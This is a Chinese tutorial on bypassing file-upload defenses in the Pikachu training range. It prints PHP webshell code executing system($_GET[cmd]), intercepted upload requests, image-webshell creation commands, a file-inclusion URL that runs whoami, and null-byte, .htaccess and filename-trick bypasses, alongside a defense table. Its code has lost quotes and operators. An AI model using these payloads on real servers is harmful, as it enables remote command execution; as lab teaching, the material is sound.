新手必看:Pikachu靶场文件上传漏洞实战通关(附三种绕过技巧)

张开发
2026/4/5 15:10:08 15 分钟阅读

分享文章

新手必看:Pikachu靶场文件上传漏洞实战通关(附三种绕过技巧)
Pikachu靶场文件上传漏洞实战从原理到绕过的三重解析在网络安全的学习道路上文件上传漏洞始终是Web安全领域最经典也最具实践价值的突破口之一。Pikachu靶场作为国内广泛使用的Web安全练习平台其unsafe upfileupload模块精心设计了三种不同层级的防御机制恰好对应着真实环境中常见的文件上传防护手段。本文将带您深入这三种防御机制的核心逻辑并通过可复现的实验步骤让您不仅掌握绕过技巧更能理解背后的安全原理。1. 文件上传漏洞基础认知文件上传功能本是Web应用中再普通不过的特性但当开发者未对上传内容进行充分验证时这个功能就可能成为攻击者直捣黄龙的捷径。想象一下如果一个论坛允许用户随意上传PHP文件到服务器可执行目录攻击者只需上传一个包含恶意代码的脚本就能获得服务器控制权。Pikachu靶场的unsafe upfileupload模块模拟了三种典型的防御场景客户端校验Client Check仅依赖浏览器端JavaScript进行文件扩展名验证MIME类型校验检查HTTP请求头中的Content-Type字段getimagesize()校验使用PHP函数验证文件是否为真实图片这三种防御层层递进从最易绕过的前端校验到相对复杂的图片马绕过构成了一个完整的学习路径。在开始实战前我们需要准备好以下环境已搭建好的Pikachu靶场环境建议使用Docker版本Burp Suite社区版作为抓包工具简单的文本编辑器Notepad或VS Code均可一张普通的JPEG图片用于制作图片马提示所有实验操作请在本地授权的测试环境中进行切勿在未授权网站上尝试任何安全测试技术。2. 突破客户端校验前端验证的脆弱性客户端校验是最基础也是最容易被绕过的防御方式。让我们先来看看典型的实现原理function checkFile() { var file document.getElementById(uploadfile).value; if (file null || file ) { alert(请选择要上传的文件!); return false; } // 获取文件扩展名 var extension file.substring(file.lastIndexOf(.)1).toLowerCase(); // 检查扩展名 if(extension ! jpg extension ! png extension ! gif){ alert(仅允许上传图片格式文件!); return false; } return true; }这段代码的问题在于验证完全依赖于客户端攻击者可以通过多种方式轻松绕过。以下是具体操作步骤创建一个包含PHP代码的文本文件例如?php echo system($_GET[cmd]); ?将文件直接保存为.php后缀比如shell.php打开浏览器开发者工具F12找到上传表单的HTML代码删除或修改onsubmitreturn checkFile()属性提交表单文件将被成功上传更简单的方法是直接使用Burp Suite拦截请求先将恶意文件后缀改为.jpg上传用Burp拦截HTTP请求修改文件名参数中的扩展名为.php转发请求POST /pikachu/vul/unsafeupload/upload.php HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameuploadfile; filenameshell.php Content-Type: image/jpeg ?php phpinfo(); ? ------WebKitFormBoundaryABC123--这种防御的脆弱性在于完全信任客户端输入。防御升级的关键在于服务器端必须进行二次验证。3. 绕过MIME类型检测内容类型的欺骗艺术当开发者意识到客户端校验不可靠后通常会升级为服务器端校验而MIME类型检查是最常见的初级服务器端防御。其原理是检查HTTP头中的Content-Type字段。标准的图片上传请求头如下Content-Disposition: form-data; nameuploadfile; filenameexample.jpg Content-Type: image/jpeg而PHP文件上传时通常会是Content-Type: application/octet-stream服务器端验证代码可能类似这样$allowedTypes [image/jpeg, image/png, image/gif]; if(!in_array($_FILES[uploadfile][type], $allowedTypes)){ die(只允许上传图片文件); }绕过这种防御的方法出奇简单准备一个包含PHP代码的文件如info.php?php phpinfo(); ?使用Burp Suite拦截上传请求修改Content-Type为image/jpegContent-Disposition: form-data; nameuploadfile; filenameinfo.php Content-Type: image/jpeg转发请求文件将被服务器接受这种防御的主要问题是过度依赖客户端提供的内容类型信息。更安全的做法是使用服务器端文件内容检测而不是信任HTTP头部信息。4. 挑战getimagesize()验证图片马的制作与利用当开发者采用getimagesize()函数进行验证时防御等级又提升了一个台阶。这个PHP函数会实际读取文件内容验证是否为真实的图片格式。验证代码通常如下if(!getimagesize($_FILES[uploadfile][tmp_name])){ die(文件不是有效的图片); }要绕过这种验证我们需要制作图片马——一个既包含有效图片数据又包含PHP代码的特殊文件。以下是详细步骤4.1 制作图片马在Linux/macOS系统下使用命令行合并图片和PHP代码cat normal.jpg shell.php shell.jpg在Windows系统下可以使用copy命令copy /b normal.jpg shell.php shell.jpg其中shell.php内容可以是?php if(isset($_GET[cmd])){ system($_GET[cmd]); } ?4.2 上传并利用图片马上传制作的图片马文件shell.jpg服务器会返回文件存储路径如/uploads/5f3a1b2c3d4e.jpg找到存在文件包含漏洞的页面Pikachu靶场中有专门的文件包含漏洞模块通过文件包含执行图片中的PHP代码http://localhost/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/5f3a1b2c3d4e.jpgcmdwhoami注意实际攻击中攻击者往往会结合.htaccess文件上传或目录遍历等技巧直接执行图片马而不依赖文件包含漏洞。4.3 防御思路要防御图片马攻击仅靠getimagesize()是不够的。完整的防御方案应包括文件内容严格验证如图片重采样随机化上传文件名将上传文件存储在不可执行目录设置正确的文件权限对上传文件进行病毒扫描5. 高级绕过技巧与综合防御策略在实战环境中文件上传漏洞的防御往往是多层次的。让我们看一个综合多种验证的典型代码// 检查文件扩展名 $ext strtolower(pathinfo($_FILES[file][name], PATHINFO_EXTENSION)); $allowed [jpg, png, gif]; if(!in_array($ext, $allowed)){ die(扩展名不允许); } // 检查MIME类型 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $_FILES[file][tmp_name]); if(!in_array($mime, [image/jpeg, image/png, image/gif])){ die(文件类型不允许); } // 检查图片内容 if(!getimagesize($_FILES[file][tmp_name])){ die(不是有效的图片文件); } // 重命名文件 $newName md5(uniqid())...$ext; move_uploaded_file($_FILES[file][tmp_name], uploads/.$newName);要绕过这种综合防御可能需要结合多种技术00截断攻击PHP版本5.3.4filenameshell.php%00.jpg.htaccess文件上传 上传包含以下内容的.htaccess文件AddType application/x-httpd-php .jpg条件竞争攻击 在文件被删除前快速访问上传的临时文件特殊字符绕过 利用Windows/Linux文件名解析差异如shell.php.或shell.php::$DATA防御措施也需要全面考虑防御层面具体措施有效性文件扩展名白名单验证高文件内容图片重采样/内容检测高文件存储不可执行目录、随机文件名中高服务器配置禁用危险函数、限制权限高日志监控记录上传行为中文件上传漏洞的攻防是一场持续的博弈。作为开发者应当采用纵深防御策略作为安全学习者理解这些绕过技术的原理才能更好地加固自己的应用。

更多文章